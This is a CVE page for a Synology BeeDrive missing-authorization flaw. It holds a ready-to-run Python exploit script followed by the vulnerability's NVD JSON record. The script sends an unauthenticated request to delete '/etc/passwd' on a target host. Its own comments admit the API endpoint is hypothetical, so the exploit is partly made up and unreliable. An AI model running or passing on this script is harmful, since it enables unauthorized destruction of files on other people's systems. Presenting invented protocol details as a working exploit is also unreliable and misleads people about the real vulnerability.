CVE-2025-54159

# CVE-2025-54159 PoC - Synology BeeDrive Unauthorized File Deletion # Note: This is a conceptual PoC based on the vulnerability description # Actual exploitation requires understanding the specific protocol/API import requests import sys def exploit_beedrive(target_ip, target_port=5000): """ Exploit for CVE-2025-54159: Missing authorization in Synology BeeDrive This PoC demonstrates how an unauthenticated attacker could delete arbitrary files """ # Target endpoint (hypothetical - actual endpoint requires investigation) base_url = f"http://{target_ip}:{target_port}" # File deletion endpoint - missing authorization check delete_endpoint = f"{base_url}/api/file/delete" # Arbitrary file path to delete target_file = "/etc/passwd" # Example target file headers = { "Content-Type": "application/json", "User-Agent": "BeeDrive-Client/1.4.2" } # Malicious request to delete arbitrary file without authentication payload = { "file_path": target_file, "force": True } try: print(f"[*] Attempting to delete file: {target_file}") print(f"[*] Target: {delete_endpoint}") # Send request without authentication - vulnerability allows this response = requests.post(delete_endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] File deletion request sent successfully") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5000 exploit_beedrive(target, port)

{"cve": {"id": "CVE-2025-54159", "sourceIdentifier": "[email protected]", "published": "2025-12-04T16:16:21.133", "lastModified": "2026-02-04T16:26:21.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing authorization vulnerability in BeeDrive in Synology BeeDrive for desktop before 1.4.2-13960 allows remote attackers to delete arbitrary files via unspecified vectors."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:synology:beedrive:*:*:*:*:desktop:-:*:*", "versionEndExcluding": "1.4.2-13960", "matchCriteriaId": "694C1B5B-5DB9-4B98-93A7-F3B9B2C3EE3C"}]}]}], "references": [{"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_25_08", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}